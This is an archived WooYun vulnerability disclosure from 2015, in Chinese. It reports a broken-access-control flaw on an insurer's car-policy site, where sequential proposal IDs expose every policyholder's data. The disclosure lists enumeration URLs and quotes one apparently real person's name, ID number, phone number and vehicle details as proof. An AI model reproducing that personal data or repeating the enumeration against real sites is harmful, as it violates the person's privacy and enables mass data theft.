天安财险某漏洞可导致全站投保人保单信息泄露

漏洞概要

缺陷编号:WooYun-2015-0129835

漏洞标题:天安财险某漏洞可导致全站投保人保单信息泄露

相关厂商:天安财险

漏洞作者:路人甲

提交时间:2015-07-30 10:36

公开时间:2015-09-15 15:18

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2015-07-30: 细节已通知厂商并且等待厂商处理中
2015-08-01: 厂商已经确认,细节仅向厂商公开
2015-08-11: 细节向核心白帽子及相关领域专家公开
2015-08-21: 细节向普通白帽子公开
2015-08-31: 细节向实习白帽子公开
2015-09-15: 细节向公众公开

简要描述:

某知名保险公司漏洞,导致全站投保人保单信息泄露四

详细说明:

遍历越权地址:http://**.**.**.**/b2a/saleNewCar/proposalView.do?id=0674636080720150000010例子:http://**.**.**.**/b2a/saleNewCar/proposalView.do?id=0674636080720150000013http://**.**.**.**/b2a/saleNewCar/proposalView.do?id=0674636080720150000014http://**.**.**.**/b2a/saleNewCar/proposalView.do?id=0674636080720150000015http://**.**.**.**/b2a/saleNewCar/proposalView.do?id=0674636080720150000016http://**.**.**.**/b2a/saleNewCar/proposalView.do?id=0674636080720150000017

漏洞证明:

泄露的信息包括:投保单信息车辆信息行驶区域: 中国境内(不含港澳台) 车型品牌: 五菱LZW6431MF车牌号码: 鲁G2269K 排气量: 1399(L)发动机号: UCB2620565 车型: TYBAYD0038车辆识别码/车架号: LZWADAGA9C8227722 燃料类型: 无注册登记日期: 2013-01-25 总质量: 0车主信息车主姓名: 郭玉飞 车主证件类型: 身份证车主证件号码: 372823196701036614投保人信息投保人姓名: 郭玉飞 性别: 先生证件类型: 身份证 证件号: 372823196701036614投保人联系电话: 15965066122 投保人邮箱:被投保人信息被保险人姓名: 郭玉飞 性别: 先生证件类型: 身份证 证件号: 372823196701036614被保险人联系电话: 15965066122 被保险人邮箱:保单生效信息交强险保单生效日期 2015年01月28日 00:00:00起至 2016年01月27日 23:59:59止商业险保单生效日期 2015年01月28日 00:00:00起至 2016年01月27日 23:59:59止商业险保险责任保险责任 保险金额/赔偿限额(元) 保费(元)机动车损失保险 59800 1132.02第三者责任保险 200000 822.51不计免赔率特约 0 293.18交强险交强险保费: 880.00元车船税险 种 是否缴纳 金额车船税 360.00元当年应缴车船税:360.00元 往年补缴费车船税:0.00元 滞纳金:0.00元费用信息商业险保费 交强险保费 车船税 优惠价共计2247.71 元 880.00 元 360.00元 3487.71元优惠价:¥3487.71元 为您节省了¥ 381.19 元

修复方案:

设置权限

漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-0115:16

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态:

暂无

评价